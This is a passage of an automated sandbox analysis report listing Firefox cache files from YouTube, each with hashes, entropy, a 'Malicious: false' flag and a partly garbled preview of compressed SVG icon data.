SSDEEP:	12:9a47N9UKllNAz9Cf2+uFNxLjRJqpOyaIj24iexYNjbnME:9a4jUKRAz9C2NDx7MraCvC/ME
MD5:	50AF989865F9DAD63F573C5F2BB66321
SHA1:	91C2C613FE2FAF799D1916E3245C8F7672926D28
SHA-256:	D36552977B70782F63C9FD0EBBADCE131EB78616C7C5F0E0274746CB0ADCDE8C
SHA-512:	074F69AF44958BF010198BDD2A37272D30DA53A22D58313606F5C1F19D67597B98C6CFF376BFEBF63E199F3965BEE93A0588CCA0AD70A8EB9E9DE3AD9AFE5D29
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.w..4".....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width.....><path d="M13 13.72V22h-2v-8.28c-.6-.35-1-.98-1-1.72 0-1.1.9-2 2-2s2 .9 2 2c0 .74-.4 1.38-1 1.72zm-5.23 2.53 1.42-1.42C8.45 14.11 8 13.11 8 12c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.11-1.18 2.83l1.42 1.42C17.33 15.16 18 13.66 18 12c0-3.31-2.69-6-6-6s-6 2.69-6 6c0 1.66.67 3.16 1.77 4.25zm-2.83 2.83 1.42-1.42C4.9 16.21 4 14.21 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8c0 2.21-.9 4.21-2.35 5.66l1.42 1.42C20.88 17.27 22 14.77 22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 2.77 1.12 5.27 2.94 7.08z" fill-rule="evenodd"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\222\{477811fd-3000-4df7-b6e9-79dcbcd47ade}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	4069
Entropy (8bit):	5.988941942148477
Encrypted:	false
SSDEEP:	96:xHJsNxEXUCwu11G9GFbfvieIFD5jRLVcP/kA7:xqEUC7RUR5jRW3kA7
MD5:	5B0F165BBDB71FAA1BB5B26C4F022E96
SHA1:	704BBE81E0D8370E675246E1CBB347BF8599AA45
SHA-256:	B95A445BD9D295276E8423F1AD3FC50C740512A634F2115364217544BC87D44F
SHA-512:	6C521B2C55135EC98F79193BF9C62B73CFB1801CDEED03A9871878F677AACEA46CAE165A4290682768CA1C1192DFF2E87B63C39228164D72D2C7ABBE732F8D20
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY........+.. LINT.IfChange-->.<svg xmlns="http://www.w3.org/2000/svg" id="yt-logo-updated-svg" class="external-icon" viewBox="0 0 90 20">. <svg id=":K.R1.. preserveAspectRatio="xMidYMid meet" ....>. <g... <path d="M27.9727 3.12324C27.6435 1.89323 26.6768 0.926623 25.4468 0.597366C23.2197 2.24288e-07 14.285 0 14.285 0C14.285 0 5.35042 2.24288e-07 .}.3.T.1.~.0.v...........P.5.d.0 10...C...#..14.6496.s 16.8768C.j.8.1068.r.19.0734.q.3...4026C.m.20.U......C-..20 23-).0 1E.19.D.2-f.d5...1....28.5701.q.....0...&...6775..Q)zP4Z" fill="#FF0000"></A#F0..11.4253.zP2854L18.8477 10.0004L. .5.71533V...a.white6_..</g.h]..gi".outube-...sM...Y..34.6024 13.0036L31.3945 1.41846H34.1932L35.3174 6.6701C35.6043 7.96361 35.8136 9.06662 35.95 9.97913H36.0323C36.1264 9.32532 36.3381 8.22937 36.665 6.68892L37.8291 1...40.6278...3799...V18.561...6001V....!.:......41.4697 A( 937C40.90!.L7.8127 40.5031 17.22...2632AF.415..80257 15.6114 39.>.8!..5437..83.2078V11.3898C.(.0.04.X...8.95805.h(315 8

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\222\{477811fd-3000-4df7-b6e9-79dcbcd47ade}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	4069
Entropy (8bit):	5.988941942148477
Encrypted:	false
SSDEEP:	96:xHJsNxEXUCwu11G9GFbfvieIFD5jRLVcP/kA7:xqEUC7RUR5jRW3kA7
MD5:	5B0F165BBDB71FAA1BB5B26C4F022E96
SHA1:	704BBE81E0D8370E675246E1CBB347BF8599AA45
SHA-256:	B95A445BD9D295276E8423F1AD3FC50C740512A634F2115364217544BC87D44F
SHA-512:	6C521B2C55135EC98F79193BF9C62B73CFB1801CDEED03A9871878F677AACEA46CAE165A4290682768CA1C1192DFF2E87B63C39228164D72D2C7ABBE732F8D20
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY........+.. LINT.IfChange-->.<svg xmlns="http://www.w3.org/2000/svg" id="yt-logo-updated-svg" class="external-icon" viewBox="0 0 90 20">. <svg id=":K.R1.. preserveAspectRatio="xMidYMid meet" ....>. <g... <path d="M27.9727 3.12324C27.6435 1.89323 26.6768 0.926623 25.4468 0.597366C23.2197 2.24288e-07 14.285 0 14.285 0C14.285 0 5.35042 2.24288e-07 .}.3.T.1.~.0.v...........P.5.d.0 10...C...#..14.6496.s 16.8768C.j.8.1068.r.19.0734.q.3...4026C.m.20.U......C-..20 23-).0 1E.19.D.2-f.d5...1....28.5701.q.....0...&...6775..Q)zP4Z" fill="#FF0000"></A#F0..11.4253.zP2854L18.8477 10.0004L. .5.71533V...a.white6_..</g.h]..gi".outube-...sM...Y..34.6024 13.0036L31.3945 1.41846H34.1932L35.3174 6.6701C35.6043 7.96361 35.8136 9.06662 35.95 9.97913H36.0323C36.1264 9.32532 36.3381 8.22937 36.665 6.68892L37.8291 1...40.6278...3799...V18.561...6001V....!.:......41.4697 A( 937C40.90!.L7.8127 40.5031 17.22...2632AF.415..80257 15.6114 39.>.8!..5437..83.2078V11.3898C.(.0.04.X...8.95805.h(315 8

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\229\{2880fc21-9ab0-4d8f-af2c-73b43cc774e5}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.6750387846110675
Encrypted:	false
SSDEEP:	6:987y89mc4slhLJ9hCcbo49yBLTz0c26AllVPxtjE7xLQLtqt0J/pT4g/lD8:98D7N9UsGLH7UlZLQ9cqCJig/p8
MD5:	18EA68569DED72B5F8F681906FEBE6A4
SHA1:	5797E923CF4E23B0C5B834923ED11B3FD101EBF4
SHA-256:	3F7E5EFFBBC5B1D293C34E82334EEF3F6F20195436B46A97C9322A406AF63CC6
SHA-512:	E32BFA8081FCB47042097617F10454358B0FA206DB22CF3D4CEB09C7134CA97C4CC3D8D283E1DFE7B4DB13C0254CA9AAE2FC2DAD38D50CFF4375373D76D9E060
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....a......^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...>><path d="M10 12H8v2H6v-2H4v-2h2V8h2v2h2v2zm7 .5c0-.83-.67-1.5-...s-1.5... ........-.6...*.zm3-3cRJ..S17 8.+.7 9.5s....jJ.d-3.03-4.35-4.5 2.53-.49.27...-..x4.5-2.53L3 7.39v6.43l8.98 5.04 ...-...V...l-3.99-2.24m0-1.15 4.99 2.8v7.6L11.98 20 2 14.4V6.8L6.!.4l.(DL16.97 4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\229\{2880fc21-9ab0-4d8f-af2c-73b43cc774e5}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.6750387846110675
Encrypted:	false
SSDEEP:	6:987y89mc4slhLJ9hCcbo49yBLTz0c26AllVPxtjE7xLQLtqt0J/pT4g/lD8:98D7N9UsGLH7UlZLQ9cqCJig/p8
MD5:	18EA68569DED72B5F8F681906FEBE6A4
SHA1:	5797E923CF4E23B0C5B834923ED11B3FD101EBF4
SHA-256:	3F7E5EFFBBC5B1D293C34E82334EEF3F6F20195436B46A97C9322A406AF63CC6
SHA-512:	E32BFA8081FCB47042097617F10454358B0FA206DB22CF3D4CEB09C7134CA97C4CC3D8D283E1DFE7B4DB13C0254CA9AAE2FC2DAD38D50CFF4375373D76D9E060
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....a......^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...>><path d="M10 12H8v2H6v-2H4v-2h2V8h2v2h2v2zm7 .5c0-.83-.67-1.5-...s-1.5... ........-.6...*.zm3-3cRJ..S17 8.+.7 9.5s....jJ.d-3.03-4.35-4.5 2.53-.49.27...-..x4.5-2.53L3 7.39v6.43l8.98 5.04 ...-...V...l-3.99-2.24m0-1.15 4.99 2.8v7.6L11.98 20 2 14.4V6.8L6.!.4l.(DL16.97 4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\22\{a25bf3fd-a7c1-409e-928e-e1c237175016}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	8419
Entropy (8bit):	6.31087081573588
Encrypted:	false
SSDEEP:	192:iUzvrUEaq3PdUWQLC4NpfzJCiSvlK3z7KM5aGWVXRip/GoDkyRZ3J6:RzrUM3PaNLXUE3z+UWRipdzf6
MD5:	D53CDFDC78BBFA83F76B88FEC1BAF8D5
SHA1:	44FDFB015F2E0EF773B74C91E7AA3084F86BE4B4
SHA-256:	B60F85072330EDDE455CF9A62C94958D66793B18F461289DA8A88B6BC0E29621
SHA-512:	07F7F09C3828E81D79F88D768DCEE3D8F91ADED0B408BDE57DAF82593EEE49A1EF2DFDE683B0AEF1059031B5F9D701DD6A20673020578801A66555EEF720F023
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.. .u....\.<<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 192 195".9.:xlinkN?..1999/..$">. <defs..H <path id="a" d="M.Ut4.555V.675h191.961v193.88z"></.2.=..6.C.668 18.586C8.545 12.047 15.125 3.19 25.082.49v20.673H.668v-2.577z" ...c.a..</..4<g fill="none"..4-rule="evenodd.......R63.227 57.833s-4.403 1.068-5.938 1.483c-1.456.393-4.553 1.79-4.443 6.532.112 4.74.1...4.Y@3 5.85.11 1.389 1..<3.444 3.053 3.99...94%L. 2.834.].77 2.(.6.386-.>D4.609 17.055-6.5522..`l-5.41-15.82-6.984-1.878z)..="#DDD.8.. !0(transform="..0late(0 -.341)-/. <mask%..b.N.fff. . <use E; :href="#a.l.useI.. </.E..A.%..96.24AE8c-17.36 0-24.86...956-38.835 24.25-9.382 4.226-31.732.669-39.879 14.75C.$$ 53.757 20.J.65.!-Ad. 74.544 .%..83.568-.48 85.263.02 99.774c.5 14.51 20.374 19.494 22.32 30.4 1.946 10.908-4.853 13.059 0 28.997s18.193 17.626 35.867 18.065c17.673.439.i.3a..2.34 32...6.64a+.153..@99 29.831-13.08 4A;.2-.'.4.161-...1!).004.189.K004-11.311 8.5..D5-2.77-30.212 3.23%c@55 6-8.643 22.896.i$127

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\22\{a25bf3fd-a7c1-409e-928e-e1c237175016}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	8419
Entropy (8bit):	6.31087081573588
Encrypted:	false
SSDEEP:	192:iUzvrUEaq3PdUWQLC4NpfzJCiSvlK3z7KM5aGWVXRip/GoDkyRZ3J6:RzrUM3PaNLXUE3z+UWRipdzf6
MD5:	D53CDFDC78BBFA83F76B88FEC1BAF8D5
SHA1:	44FDFB015F2E0EF773B74C91E7AA3084F86BE4B4
SHA-256:	B60F85072330EDDE455CF9A62C94958D66793B18F461289DA8A88B6BC0E29621
SHA-512:	07F7F09C3828E81D79F88D768DCEE3D8F91ADED0B408BDE57DAF82593EEE49A1EF2DFDE683B0AEF1059031B5F9D701DD6A20673020578801A66555EEF720F023
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.. .u....\.<<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 192 195".9.:xlinkN?..1999/..$">. <defs..H <path id="a" d="M.Ut4.555V.675h191.961v193.88z"></.2.=..6.C.668 18.586C8.545 12.047 15.125 3.19 25.082.49v20.673H.668v-2.577z" ...c.a..</..4<g fill="none"..4-rule="evenodd.......R63.227 57.833s-4.403 1.068-5.938 1.483c-1.456.393-4.553 1.79-4.443 6.532.112 4.74.1...4.Y@3 5.85.11 1.389 1..<3.444 3.053 3.99...94%L. 2.834.].77 2.(.6.386-.>D4.609 17.055-6.5522..`l-5.41-15.82-6.984-1.878z)..="#DDD.8.. !0(transform="..0late(0 -.341)-/. <mask%..b.N.fff. . <use E; :href="#a.l.useI.. </.E..A.%..96.24AE8c-17.36 0-24.86...956-38.835 24.25-9.382 4.226-31.732.669-39.879 14.75C.$$ 53.757 20.J.65.!-Ad. 74.544 .%..83.568-.48 85.263.02 99.774c.5 14.51 20.374 19.494 22.32 30.4 1.946 10.908-4.853 13.059 0 28.997s18.193 17.626 35.867 18.065c17.673.439.i.3a..2.34 32...6.64a+.153..@99 29.831-13.08 4A;.2-.'.4.161-...1!).004.189.K004-11.311 8.5..D5-2.77-30.212 3.23%c@55 6-8.643 22.896.i$127

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\22\{d60c8570-8cf2-4a45-b8cc-8c379e25e716}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	5.571753002212038
Encrypted:	false
SSDEEP:	3:93lbTGKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT16rER+Hmy7NdkE574Cb:93J9mc4slhLJ9hC5Eqmy7NdN5/
MD5:	B0E3A03D13D45C1F130DF30EE51EEA72
SHA1:	ED19ADF38B3978300A958E5287546BE08C8FB371
SHA-256:	AB156C3358CD6B946718508BDA5099C8CBA2E4583E3D03FBE0401C0E6F20E5E7
SHA-512:	3FA2FBAA7F78F69D0DF8E3B8211AD56532CB0A68A9AC89C37FA5354FCE51E114BABD0673F2F44D109FE2E518AD7806B7FF3040A840E3099BE4CC5F6DC07F8154
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....781...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><g><path d="M14 3H5v18h1v-9h6.6l.4 2h7V5h-5.6L.!4z"/></g></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\22\{d60c8570-8cf2-4a45-b8cc-8c379e25e716}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	5.571753002212038
Encrypted:	false
SSDEEP:	3:93lbTGKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT16rER+Hmy7NdkE574Cb:93J9mc4slhLJ9hC5Eqmy7NdN5/
MD5:	B0E3A03D13D45C1F130DF30EE51EEA72
SHA1:	ED19ADF38B3978300A958E5287546BE08C8FB371
SHA-256:	AB156C3358CD6B946718508BDA5099C8CBA2E4583E3D03FBE0401C0E6F20E5E7
SHA-512:	3FA2FBAA7F78F69D0DF8E3B8211AD56532CB0A68A9AC89C37FA5354FCE51E114BABD0673F2F44D109FE2E518AD7806B7FF3040A840E3099BE4CC5F6DC07F8154
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....781...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><g><path d="M14 3H5v18h1v-9h6.6l.4 2h7V5h-5.6L.!4z"/></g></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\231\{0c56d1f4-9c0e-42c6-bb92-a647e83718e7}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	196
Entropy (8bit):	5.507019064999396
Encrypted:	false
SSDEEP:	3:9rcdbFdUGKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT17n9VxHmAIb0WNUoOUGf7/:9r289mc4slhLJ9hCcn9VBmtb0PCGz
MD5:	C4E0CB3D3DE8B6BCAC527D2F0E5ED241
SHA1:	2425B0C4DDB89F31D101257662629CAC0C3CF0AF
SHA-256:	3135ABFBD2020A12EE327FD81C3739DA37A6FDFC11D2032634CE5D33E916505C
SHA-512:	29E026C7ECE58CE6C56D64073F3B0F6A008286EDFEF920973B7E399EF57F042780F8CB5A940D8654C41ABE2A6FC8F60E4427D70FC285FA7FEE5FDF473AE66FEE
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....#a.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...B><path d="m10 8 6 4-6 4V8zm11-5v18H3V3h18zm-1 1H4v16h16V4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\231\{0c56d1f4-9c0e-42c6-bb92-a647e83718e7}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	196
Entropy (8bit):	5.507019064999396
Encrypted:	false
SSDEEP:	3:9rcdbFdUGKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT17n9VxHmAIb0WNUoOUGf7/:9r289mc4slhLJ9hCcn9VBmtb0PCGz
MD5:	C4E0CB3D3DE8B6BCAC527D2F0E5ED241
SHA1:	2425B0C4DDB89F31D101257662629CAC0C3CF0AF
SHA-256:	3135ABFBD2020A12EE327FD81C3739DA37A6FDFC11D2032634CE5D33E916505C
SHA-512:	29E026C7ECE58CE6C56D64073F3B0F6A008286EDFEF920973B7E399EF57F042780F8CB5A940D8654C41ABE2A6FC8F60E4427D70FC285FA7FEE5FDF473AE66FEE
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....#a.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...B><path d="m10 8 6 4-6 4V8zm11-5v18H3V3h18zm-1 1H4v16h16V4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\233\{1558dd1b-1a46-4478-8502-a1e102ab7ce9}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	185
Entropy (8bit):	5.2662722437428675
Encrypted:	false
SSDEEP:	3:988yZbFdIsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHMwYSf104XTIUGnYRt8nx:9xytI9mc4slhohC/vmI4NX104XEUv8
MD5:	A5A12471C60B1660512FCE9579675A2E
SHA1:	D702B7183C27A6B08B626C9BBA460CE0E20A7395
SHA-256:	2B8AD66D9EB14D6020CC86C9472A8D32859FAEC20E5BC971BBBE068753B378C0
SHA-512:	EC69CF09EF623B7971BF8A42267E23C4F5265127608A70D1EA8EE7A910982E075723A0DABD7053022905C9D0E44CBECB4FE2FB1005258FAC9A0BD5A33F3B6014
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY......^....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M22 7H2v1h20V7zm-9 5H2v-1h11v1zm0 4H2v-1h11v1zm2 3v-8l7 4-7 4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\233\{1558dd1b-1a46-4478-8502-a1e102ab7ce9}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	185
Entropy (8bit):	5.2662722437428675
Encrypted:	false
SSDEEP:	3:988yZbFdIsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHMwYSf104XTIUGnYRt8nx:9xytI9mc4slhohC/vmI4NX104XEUv8
MD5:	A5A12471C60B1660512FCE9579675A2E
SHA1:	D702B7183C27A6B08B626C9BBA460CE0E20A7395
SHA-256:	2B8AD66D9EB14D6020CC86C9472A8D32859FAEC20E5BC971BBBE068753B378C0
SHA-512:	EC69CF09EF623B7971BF8A42267E23C4F5265127608A70D1EA8EE7A910982E075723A0DABD7053022905C9D0E44CBECB4FE2FB1005258FAC9A0BD5A33F3B6014
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY......^....<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M22 7H2v1h20V7zm-9 5H2v-1h11v1zm0 4H2v-1h11v1zm2 3v-8l7 4-7 4z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\234\{9bf11ffa-32a6-490b-9e8c-1cd772b99bea}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	1545
Entropy (8bit):	5.757875396033953
Encrypted:	false
SSDEEP:	24:9Wn1B8cuZefXS5+mmfSZQ8I65zTJ2KPfNvd4C6u0XW3bRcPXRCSarlWCcDdgaUE3:iuxgfXS51m6u8Hj2KXtQ5tXaoFD5UpM7
MD5:	C0540C18CBF85EBA330F97B8FAE2375A
SHA1:	65F9EF9C5B0664EF9BC045344224A266D72C7861
SHA-256:	D540C5C26F2EAB78ECF7FCED4AC767F1AF89E7C3EEF303E4027D4FC77D6E74CA
SHA-512:	D6BBC155FCCF19AFD17CDAF3B9739E8BFA732C4C519AAC5516447C23AC9E1D97F5A6A2E003CC7CD09E9E9DE14F28C88DE6BCAE26628DFD0AEEB4FFA8F0D95A56
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...._.o.....<svg xmlns="http://www.w3.org/2000/svg">. <path fill="#FF0000" d="M21.39,13.19c0-0.08,0-0.15,0-0.22c-0.01-0.86-0.5-5-0.78-5.74c-0.32-0.85-0.76-1.5-1.31-1.91 c-0.9-0.67-1.66-0.82-2.6-0.84l-0.02,0c-0.4,0-3.01,0.O`5.2,0.62C9.28,5.4,6.53,5....88,6.0.z$9,0.33-1.6.0.77-2.19,1.33 c-1.05,1.04-1.18,2.11-.. ,3.51c0.1...B.69,5.37..$2,6.35c0.4.;.32.L.;02,2.47,2.24c0.. 0.03,0.55.....8..(05 c1,0,1.8!:`1,2.72-0.46c1.45-0.39,3.2...87,6.97!W.7l0... h0.02c0.9.D.3.14.EL,4.16-2.07C21.44,15....1.41,13.-=.$ z"></pathB......99.;.26c...!..01.t%^...9...54-5!. 0.83-6.11!..3...9./.8!Y.59-1.4...3 C18.81...7,17.m,4.02,17,4l-0...0.B(43,0-3.21,0.N.5.54!..6c-2.3!^.32A.85,0.75-5.95,1C4A.46.01,3.76,6.48!+.6,7.08%..1!....25!..5A...!..1!..16.SAQ.7...0AR.7%..8,)W!\.2.A.6A.,38C6.06,19.9...34,20,6...0 c1.07%.%..2.2 89-0.49c1!>.0.P.3.4!b.93,7.4!8.93lA.9..D.3!..0!..4.4a-.2 C22.0%..32,...1,14A..21!\013.26z M20.59A..9%..8!..51-2.7A.,68-3.56,1.68!..1,0c-4Ew.-6..L.53-7.67,0.96 C8.31,!..,7.8.9...19!.!..-0.A.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\234\{9bf11ffa-32a6-490b-9e8c-1cd772b99bea}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	1545
Entropy (8bit):	5.757875396033953
Encrypted:	false
SSDEEP:	24:9Wn1B8cuZefXS5+mmfSZQ8I65zTJ2KPfNvd4C6u0XW3bRcPXRCSarlWCcDdgaUE3:iuxgfXS51m6u8Hj2KXtQ5tXaoFD5UpM7
MD5:	C0540C18CBF85EBA330F97B8FAE2375A
SHA1:	65F9EF9C5B0664EF9BC045344224A266D72C7861
SHA-256:	D540C5C26F2EAB78ECF7FCED4AC767F1AF89E7C3EEF303E4027D4FC77D6E74CA
SHA-512:	D6BBC155FCCF19AFD17CDAF3B9739E8BFA732C4C519AAC5516447C23AC9E1D97F5A6A2E003CC7CD09E9E9DE14F28C88DE6BCAE26628DFD0AEEB4FFA8F0D95A56
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...._.o.....<svg xmlns="http://www.w3.org/2000/svg">. <path fill="#FF0000" d="M21.39,13.19c0-0.08,0-0.15,0-0.22c-0.01-0.86-0.5-5-0.78-5.74c-0.32-0.85-0.76-1.5-1.31-1.91 c-0.9-0.67-1.66-0.82-2.6-0.84l-0.02,0c-0.4,0-3.01,0.O`5.2,0.62C9.28,5.4,6.53,5....88,6.0.z$9,0.33-1.6.0.77-2.19,1.33 c-1.05,1.04-1.18,2.11-.. ,3.51c0.1...B.69,5.37..$2,6.35c0.4.;.32.L.;02,2.47,2.24c0.. 0.03,0.55.....8..(05 c1,0,1.8!:`1,2.72-0.46c1.45-0.39,3.2...87,6.97!W.7l0... h0.02c0.9.D.3.14.EL,4.16-2.07C21.44,15....1.41,13.-=.$ z"></pathB......99.;.26c...!..01.t%^...9...54-5!. 0.83-6.11!..3...9./.8!Y.59-1.4...3 C18.81...7,17.m,4.02,17,4l-0...0.B(43,0-3.21,0.N.5.54!..6c-2.3!^.32A.85,0.75-5.95,1C4A.46.01,3.76,6.48!+.6,7.08%..1!....25!..5A...!..1!..16.SAQ.7...0AR.7%..8,)W!\.2.A.6A.,38C6.06,19.9...34,20,6...0 c1.07%.%..2.2 89-0.49c1!>.0.P.3.4!b.93,7.4!8.93lA.9..D.3!..0!..4.4a-.2 C22.0%..32,...1,14A..21!\013.26z M20.59A..9%..8!..51-2.7A.,68-3.56,1.68!..1,0c-4Ew.-6..L.53-7.67,0.96 C8.31,!..,7.8.9...19!.!..-0.A.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\235\{af13c07e-7491-493f-86a2-ea3b1efe11eb}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.235993387304092
Encrypted:	false
SSDEEP:	6:9bXLtI9mc4slhohC/vmI4K+tlq2LwkzdO+iEuUDXpzBX6RlUFDA:9n6noU/vmRxxVzMHUFX4Q0
MD5:	680103CE64AE5C8EDFF61A1E3240326C
SHA1:	03038EE24F31AD0B8DA727F0C3DC3B5879B26C8E
SHA-256:	3C24065C3B89CE87C07F724CAF59D270C80B7A072D751BD51E2F0B27B594442C
SHA-512:	68C0BEB28E4050858D9ED8F79E0BC4A24ABC99B9776FAA392AA7D412A83B8D7320645ED498B7DE7F1D712EC13ABB554862D6C2B01D7223A229A96F27C9E130A2
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.............<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M18 5V2H6v3H3v6l3.23 1.61c.7 2.5 2.97 4.34 5.69 4.38L8 19v3h8v-3l-3.92-2.01c2.72-.04 4.99-1.88 5.69-4.38L21 11V5h-3zM6 11.38l-2-1V6h2v5.38zm14-1-2 1V6h2v4.38z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\235\{af13c07e-7491-493f-86a2-ea3b1efe11eb}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.235993387304092
Encrypted:	false
SSDEEP:	6:9bXLtI9mc4slhohC/vmI4K+tlq2LwkzdO+iEuUDXpzBX6RlUFDA:9n6noU/vmRxxVzMHUFX4Q0
MD5:	680103CE64AE5C8EDFF61A1E3240326C
SHA1:	03038EE24F31AD0B8DA727F0C3DC3B5879B26C8E
SHA-256:	3C24065C3B89CE87C07F724CAF59D270C80B7A072D751BD51E2F0B27B594442C
SHA-512:	68C0BEB28E4050858D9ED8F79E0BC4A24ABC99B9776FAA392AA7D412A83B8D7320645ED498B7DE7F1D712EC13ABB554862D6C2B01D7223A229A96F27C9E130A2
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.............<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M18 5V2H6v3H3v6l3.23 1.61c.7 2.5 2.97 4.34 5.69 4.38L8 19v3h8v-3l-3.92-2.01c2.72-.04 4.99-1.88 5.69-4.38L21 11V5h-3zM6 11.38l-2-1V6h2v5.38zm14-1-2 1V6h2v4.38z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\237\{107d1d38-d2bb-4835-8e2d-d236a9be72ed}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
